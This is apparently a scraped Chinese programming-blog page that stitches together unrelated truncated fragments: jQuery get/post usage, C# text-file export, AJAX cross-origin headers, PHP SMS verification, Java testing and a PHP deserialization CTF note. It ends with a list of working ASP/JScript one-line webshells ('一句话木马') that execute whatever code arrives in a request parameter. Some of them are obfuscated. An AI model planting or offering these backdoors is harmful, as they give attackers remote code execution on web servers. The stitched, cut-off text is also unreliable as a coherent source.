post

jQuery的get()post()getJson()方法

安稳与你 提交于 2020-03-03 00:26:16
jQuery get() 和 post() 方法用于通过 HTTP GET 或 POST 请求从服务器请求数据。 HTTP 请求:GET vs. POST 两种在客户端和服务器端进行请求-响应的常用方法是:GET 和 POST。 GET - 从指定的资源请求数据 POST - 向指定的资源提交要处理的数据 GET 基本上用于从服务器获得(取回)数据。注释:GET 方法可能返回缓存数据。 POST 也可用于从服务器获取数据。不过,POST 方法不会缓存数据,并且常用于连同请求一起发送数据。 1、jQuery $.get() 方法 $.get() 方法通过 HTTP GET 请求从服务器上请求数据。 语法: $.get(URL,callback); 必需的 URL 参数规定您希望请求的 URL。 可选的 callback 参数是请求成功后所执行的函数名。 下面的例子使用 $.get() 方法从服务器上的一个文件中取回数据: <!DOCTYPE html> <html> <head> <script src="/jquery/jquery-1.11.1.min.js"></script> <script> $(document).ready(function(){ $("button").click(function(){ $.get("/example/jquery/demo_test

从DataSet导出Txt(续)

只谈情不闲聊 提交于 2020-03-02 22:46:54
在 从DataSet导出Txt 一篇中,我们还有一个问题没有解决:每个Txt的总金额不能超过10万,单笔金额不能超过5万(上一篇中为5000)。 按照上一篇中我提到的解决方案,首先在服务器中生成Txt,再打包下载到客户端。 首先,我们需要两个方法:一个是创建文件的方法,一个是压缩文件的方法,下面我给出具体的代码。 创建Txt文件的方法: /// <summary> /// 创建Txt文档 /// </summary> /// <param name="str">写入Txt的内容</param> /// <param name="list">生成的Txt的路径列表</param> private static void CreateTxtFile(string str, List<string> list) { if (str.Length == 0) { return; } string fileName = Guid.NewGuid() + ".txt"; string path = @"F:\\Txt\\" + fileName; list.Add(path); StreamWriter sr = File.CreateText(path); sr.Write(str); sr.Close(); } 压缩文件的方法: 需要引用ICSharpCode.SharpZipLib

ajax 设置Access-Control-Allow-Origin实现跨域访问

梦想的初衷 提交于 2020-03-02 14:02:34
ajax跨域访问是一个老问题了,解决方法很多,比较常用的是 JSONP 方法,JSONP方法是一种 非官方方法 ,而且这种方法只支持GET方式,不如POST方式安全。 即使使用jquery的jsonp方法,type设为POST,也会自动变为GET。 官方问题说明: “script”: Evaluates the response as JavaScript and returns it as plain text. Disables caching by appending a query string parameter, “_=[TIMESTAMP]“, to the URL unless the cache option is set to true. Note: This will turn POSTs into GETs for remote-domain requests. 如果跨域使用POST方式,可以使用创建一个隐藏的iframe来实现,与ajax上传图片原理一样,但这样会比较麻烦。 因此,通过设置 Access-Control-Allow-Origin 来实现跨域访问比较简单。 例如:客户端的域名是 www.client.com ,而请求的域名是 www.server.com 如果直接使用ajax访问,会有以下错误 XMLHttpRequest cannot

PHP注册手机获取验证码代码

偶尔善良 提交于 2020-03-02 14:01:24
php代码: <?php require dirname(__FILE__).'/include/common.inc.php';//这是在cms2008下面做的测试 header("content-type:text/html; charset=utf-8;"); session_start();//开启缓存 if (isset($_SESSION['time']))//判断缓存时间 { session_id(); $_SESSION['time']; } else { $_SESSION['time'] = date("Y-m-d H:i:s"); } $_SESSION['mcode']=$_GET['mcode'];//将content的值保存在session中 ////如果得到手机号 if($mobile) { // echo "2";//得到手机号 // echo $_SESSION['mcode'];//测试得到的验证码 // echo '<br/>'; if((strtotime($_SESSION['time'])+60)<time()) {//将获取的缓存时间转换成时间戳加上60秒后与当前时间比较,小于当前时间即为过期 session_destroy(); unset($_SESSION); header('content-type:text/html;

AngularJS $http post 传递参数数据

北慕城南 提交于 2020-03-02 09:14:13
在cordova开发的时候使用到了$http的post方法,传递的参数服务端怎么都接收不到,搜索了下,发现使用AngularJS通过POST传递参数还是需要设置一些东西才可以! 1、不能直接使用params 例如: [javascript] view plain copy $http({ method: "POST", url: "http://192.168.2.2:8080/setId", params: { cellphoneId: "b373fed6be325f7" } }).success(); 当你这样写的时候它会把id写到url后面: [javascript] view plain copy http://192.168.2.2:8080/setId?cellphoneId=b373fed6be325f7" 会在url后面添加"?cellphoneId=b373fed6be325f7",查了些资料发现params这个参数是用在GET请求中的,而POST/PUT/PATCH就需要使用data来传递; 2、直接使用data [javascript] view plain copy $http({ method: "POST", url: "http://192.168.2.2:8080/setId", data: { cellphoneId:

java 测试 (junit+ junit 断言 + postman)

梦想的初衷 提交于 2020-03-02 08:00:42
    实际开发中,除了开发,我想测试也是必不可少的一环吧。从简单的@Test 、main 方法测试 到 页面测试 ,断言,postman。 bug是无处不在,随时发生的事,高效率的调试、检测可以节省大量的开发时间。 思路一确定,敲代码也就花不了多少时间,可是敲完代码后的调试,检测往往会花费许多时间。 甚者除了页面调试(通过jsp,HTML页面带参过来到后台,后台返回参数给页面) 其他的一点都不会。记得去年的时候,公司做个金融产品,是跟外部的团队合作一起开发的。由于前端页面是由外部团队提供给我们的,所以有时候他们还未提供给我们页面的时候,我们就自己根据接口文档等把后台业务相关逻辑处理好。 某天上午,公司一个新来的新手跑过来问我:XXX, 代码写完啦,没有页面怎么测啊。 我当时就感到奇怪,没有页面就不能测吗? 我反问了他一句, 他请我过去帮忙教教他,我也就回了句自己去百度就没理了。那时候想着就是虽然测试不是我们的主业,有测试,可是我们开发人员自测的手段还是要有一些的吧。刚好现在已经开始写博客了,今天也有空,也就写篇相关的博客,记录记录      阅读此篇博客前阅读本人的 junit 常用注解 + junit 断言详解 + junit 运行(eclipse + IDEA)      1. @Test , main 方法     这个是最简单测试了,一般用于测试一些方法,实现

[原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

别来无恙 提交于 2020-03-02 07:34:11
简介 原题复现: 考察知识点: 反序列化、数组绕过 线上平台: https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组绕过 1.1 url传递数组 当我们要向服务器传递数组时,我们可以通过 http://127.0.0.1/index.php?a[]=hello&a[]=world 来传递,这样,在后端, $a = $_GET['a']; 就可以接收到 $a[0]=“hello”, $a[1]=“world”。 md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) = null preg_match(pattern,Array()) = false strcmp(Array(), "abc") = null strpos(Array(),"abc") = null strlen(Array()) = null https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation 一个简单的例子 从这个例子我们可以看出序列化后的字符串以"作为分隔符

js post 方式 新开窗口

徘徊边缘 提交于 2020-03-02 05:22:16
js中一般新打开窗口很简单直接window.open(url);就可以了, 但是由于我希望传递参数到服务端,而且参数看起来很长一串,而且get方式的提交参数长度是有限制的,因此我有以下需求: 1,js中实现post提交 2,返回的页面在新窗口显示 首先我是这么做的: $.ajax({ type: "POST" , url: '${contextPath}/analyse/detail.do' , data: {carNum :carNum,ids:refIds}, success: function (str_response) { var obj = window.open("about:blank" ); obj.document.write(str_response); } }); 通过jQuery ajax提交,返回的数据写在新的页面中,但是由于浏览器的会拦截自动弹出的窗口,这样还需用户自己解除拦截,用户体验很差, 然后我又通过模拟form表单的提交来实现 function post(URL, PARAMS) { var temp_form = document.createElement("form" ); temp_form .action = URL; temp_form .target = "_blank" ; temp_form .method = "post"

浅谈HTTP中Get与Post的区别

♀尐吖头ヾ 提交于 2020-03-02 03:42:39
Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的 查, 改, 增, 删4个操作。到这里,大家应该有个大概的了解了,GET一般用于 获取/查询资源信息,而POST一般用于 更新资源信息。    1 .根据HTTP规范,GET用于信息获取,而且应该是安全的和幂等的。   (1).所谓安全的意味着该操作用于获取信息而非修改信息。换句话说,GET 请求一般不应产生副作用。就是说,它仅仅是获取资源信息,就像数据库查询一样,不会修改,增加数据,不会影响资源的状态。   * 注意:这里安全的含义仅仅是指是非修改信息。   (2).幂等的意味着对同一URL的多个请求应该返回同样的结果。这里我再解释一下 幂等 这个概念:    幂等 (idempotent、idempotence)是一个数学或计算机学概念,常见于抽象代数中。   幂等有一下几种定义:   对于单目运算,如果一个运算对于在范围内的所有的一个数多次进行该运算所得的结果和进行一次该运算所得的结果是一样的,那么我们就称该运算是幂等的。比如绝对值运算就是一个例子,在实数集中,有 abs(a) = abs(abs(a))。  

一句话木马

青春壹個敷衍的年華 提交于 2020-03-02 01:02:15
<%eval request(“c”)%> <%execute request(“c”)%> <%execute(request(“c”))%> <%ExecuteGlobal request(“sb”)%> %><%Eval(Request(chr(35)))%><% <%if request (“c”)<>"“then session(“c”)=request(“c”):end if:if session(“c”)<>”" then execute session(“c”)%> <%eval(Request.Item[“c”],“unsafe”);%> <%eval(request(“c”)):response.end%> <%execute request(“c”)%><%<%loop<%:%> <%<%loop<%:%><%execute request(“c”)%> <%execute request(“c”)<%loop<%:%> <%if Request(“c”)<>"" ThenExecuteGlobal(Request(“c”))%> '不用"<,>" <% @Language=“JavaScript” CodePage="65001"var lcx={‘名字’:Request.form(’#’),‘性别’:eval,‘年龄’:‘18’,‘昵称’:‘请叫我一声老大